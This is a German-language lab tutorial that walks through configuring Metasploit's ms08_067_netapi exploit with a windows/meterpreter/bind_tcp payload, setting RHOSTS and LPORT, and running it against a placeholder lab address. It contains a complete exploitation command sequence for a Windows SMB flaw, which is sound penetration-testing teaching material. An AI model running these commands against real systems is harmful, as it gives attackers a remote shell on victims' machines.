Einführung
In diesem Lab lernen Sie die grundlegenden Schritte zur Verwendung einer Bind-Shell-Payload im Metasploit Framework. Metasploit ist ein leistungsstarkes Penetration-Testing-Tool, das es Sicherheitsexperten ermöglicht, Schwachstellen zu finden, auszunutzen und zu validieren.
Eine "Payload" in Metasploit ist der Code, der auf dem Zielsystem ausgeführt wird, nachdem eine Schwachstelle erfolgreich ausgenutzt wurde. Eine "Bind-Shell"-Payload ist ein spezifischer Typ, der einen lauschenden Port auf dem Zielrechner öffnet. Der Angreifer verbindet sich dann mit diesem Port, um eine Kommandozeile zu erhalten und das System zu kontrollieren. Dies unterscheidet sich von einer "Reverse Shell", bei der der Zielrechner eine Verbindung zum Angreifer initiiert.
In diesem Lab üben Sie den vollständigen Workflow: Starten von Metasploit, Auswahl eines Exploits, Konfiguration einer Bind-Shell-Payload mit den erforderlichen Optionen und Versuch, den Exploit auszuführen.
Auswahl eines Exploit-Moduls für ein Ziel
In diesem Schritt starten Sie die Metasploit Framework-Konsole und wählen ein Exploit-Modul aus. Ein Exploit ist ein Code-Schnipsel, der eine spezifische Schwachstelle in einem System ausnutzt. Für dieses Lab verwenden wir zu Demonstrationszwecken einen bekannten Exploit.
Öffnen Sie zunächst Ihr Terminal und starten Sie die Metasploit-Konsole. Wir verwenden das Flag -q für den "Quiet"-Modus, um das Banner zu überspringen und schneller zu starten.
msfconsole -q
Sobald die Konsole geladen ist, ändert sich Ihre Eingabeaufforderung zu msf6 >. Nun müssen Sie einen Exploit auswählen. Wir werden den Exploit ms08_067_netapi verwenden, der eine Schwachstelle im Windows Server-Dienst ausnutzt.
Verwenden Sie den Befehl use, um das Exploit-Modul zu laden:
use exploit/windows/smb/ms08_067_netapi
Nachdem Sie den Befehl ausgeführt haben, wird Ihre Eingabeaufforderung geändert, um das aktuell aktive Exploit-Modul widerzuspiegeln.
msf6 > use exploit/windows/smb/ms08_067_netapi
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit(windows/smb/ms08_067_netapi) >
Beachten Sie, dass Metasploit standardmäßig eine reverse_tcp-Payload verwendet hat. Dies werden wir im nächsten Schritt ändern.
Festlegen der Payload auf windows/meterpreter/bind_tcp
In diesem Schritt ändern Sie die Standard-Payload zu einer Bind-Shell-Payload. Wie in der Einleitung erwähnt, öffnet eine Bind-Payload einen Port auf dem Zielsystem und wartet darauf, dass sich der Angreifer verbindet.
Wir werden windows/meterpreter/bind_tcp verwenden. Diese Payload bietet nicht nur eine Shell, sondern auch eine Meterpreter-Sitzung, eine fortschrittliche, funktionsreiche Payload, die mehr Kontrolle über das Zielsystem ermöglicht.
Geben Sie im msfconsole-Prompt den Befehl set payload ein, um die neue Payload anzugeben:
set payload windows/meterpreter/bind_tcp
Metasploit wird die Änderung bestätigen.
msf6 exploit(windows/smb/ms08_067_netapi) > set payload windows/meterpreter/bind_tcp
payload => windows/meterpreter/bind_tcp
Sie haben nun den Exploit erfolgreich für die Verwendung einer Bind-Meterpreter-Payload konfiguriert.
Festlegen der RHOSTS-Option für den Exploit
In diesem Schritt müssen Sie das Ziel Ihres Exploits angeben. In Metasploit wird die Zieladresse über die Option RHOSTS (Remote Hosts) festgelegt.
Sie müssen Metasploit mitteilen, welche Maschine angegriffen werden soll. In einem realen Szenario hätten Sie die IP-Adresse einer anfälligen Maschine durch Aufklärung ermittelt. Für dieses Lab verwenden wir eine Platzhalter-IP-Adresse.
Verwenden Sie den Befehl set, um die Option RHOSTS zu konfigurieren. Wir setzen sie auf 172.17.0.2, eine gängige IP-Adresse für einen Container in einem Docker-Bridge-Netzwerk.
set RHOSTS 172.17.0.2
Die Konsole bestätigt, dass die Option RHOSTS gesetzt wurde.
msf6 exploit(windows/smb/ms08_067_netapi) > set RHOSTS 172.17.0.2
RHOSTS => 172.17.0.2
Nun weiß Metasploit, wohin der Exploit gesendet werden soll.
Festlegen der LPORT-Option für die Payload auf dem Ziel
In diesem Schritt konfigurieren Sie den Listening-Port für die Bind-Shell. Bei einer Bind-Payload gibt die Option LPORT (Local Port) den TCP-Port an, den die Payload auf dem Zielsystem öffnen wird. Dies ist ein entscheidendes Konzept: Sie definieren den Port, zu dem Sie sich verbinden werden, nachdem der Exploit erfolgreich war.
Wir werden zu diesem Zweck den gängigen Port 4444 verwenden.
Verwenden Sie den Befehl set, um die Option LPORT zu konfigurieren:
set LPORT 4444
Die Konsole bestätigt die Einstellung.
msf6 exploit(windows/smb/ms08_067_netapi) > set LPORT 4444
LPORT => 4444
Um sicherzustellen, dass alle unsere Optionen korrekt gesetzt sind, können Sie den Befehl show options verwenden, um die Konfiguration sowohl für den Exploit als auch für die Payload zu überprüfen.
show options
Sie sollten eine Ausgabetabelle sehen, in der RHOSTS und LPORT mit den von Ihnen angegebenen Werten korrekt gesetzt sind.
...
Payload options (windows/meterpreter/bind_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC thread yes Exit technique (Accepted: '', seh, thread, process, none)
LPORT 4444 yes The listen port
RHOST 172.17.0.2 no The target address
Exploit target:
Id Name
-- ----
0 Automatic Targeting
...
Ausführen des Exploits und Verbinden mit dem Listening-Port
In diesem Schritt, nachdem alle Optionen konfiguriert sind, starten Sie den Angriff. Der Befehl exploit (oder sein Alias run) weist Metasploit an, den Exploit und die Payload an das Ziel zu senden.
Führen Sie nun den Exploit aus:
exploit
Wichtiger Hinweis: In dieser Laborumgebung gibt es keine anfällige Windows-Maschine unter der Adresse 172.17.0.2. Daher wird der Exploit fehlschlagen. Der Zweck dieses Schritts ist es, den Befehl zu verstehen und den Prozess zu beobachten. Bei einem echten Penetrationstest würde dieser Befehl eine Sitzung erstellen, wenn das Ziel anfällig wäre.
Sie werden sehen, wie Metasploit versucht, eine Verbindung herzustellen, aber schließlich wird die Zeit überschritten. Die Ausgabe wird ungefähr so aussehen:
msf6 exploit(windows/smb/ms08_067_netapi) > exploit
[*] Started bind TCP handler against 172.17.0.2:4444
[*] 172.17.0.2:445 - Automatically detecting the target...
[*] 172.17.0.2:445 - Fingerprint: Unknown
[-] 172.17.0.2:445 - The target is not exploitable.
[*] Exploit completed, but no session was created.
Diese Ausgabe ist erwartet. Sie bestätigt, dass Metasploit den Exploit ausgeführt hat, aber keine Sitzung hergestellt wurde, da das Ziel nicht anfällig oder erreichbar war. Sie haben den Workflow für die Verwendung einer Bind-Shell-Payload erfolgreich abgeschlossen.
Um die Metasploit-Konsole zu verlassen, geben Sie exit ein:
exit
Zusammenfassung
In diesem Labor haben Sie den wesentlichen Prozess der Konfiguration und Verwendung einer Bind-Shell-Payload innerhalb des Metasploit Frameworks kennengelernt.
Sie haben den Kern-Workflow geübt:
- Starten der Metasploit-Konsole (
msfconsole). - Auswählen eines Exploit-Moduls mit dem Befehl
use. - Festlegen einer spezifischen Payload mit
set payload. - Konfigurieren zielspezifischer Optionen wie
RHOSTS(die IP des Ziels) undLPORT(der Listening-Port auf dem Ziel). - Ausführen des Angriffs mit dem Befehl
exploit.
Am wichtigsten ist, dass Sie nun das Hauptmerkmal einer Bind-Shell verstehen: Sie öffnet einen Listener auf dem Zielsystem, zu dem sich der Angreifer verbinden muss. Dieses grundlegende Wissen ist entscheidend für die Durchführung von Penetrationstests und das Verständnis verschiedener Methoden zur Erlangung von Fernzugriff.


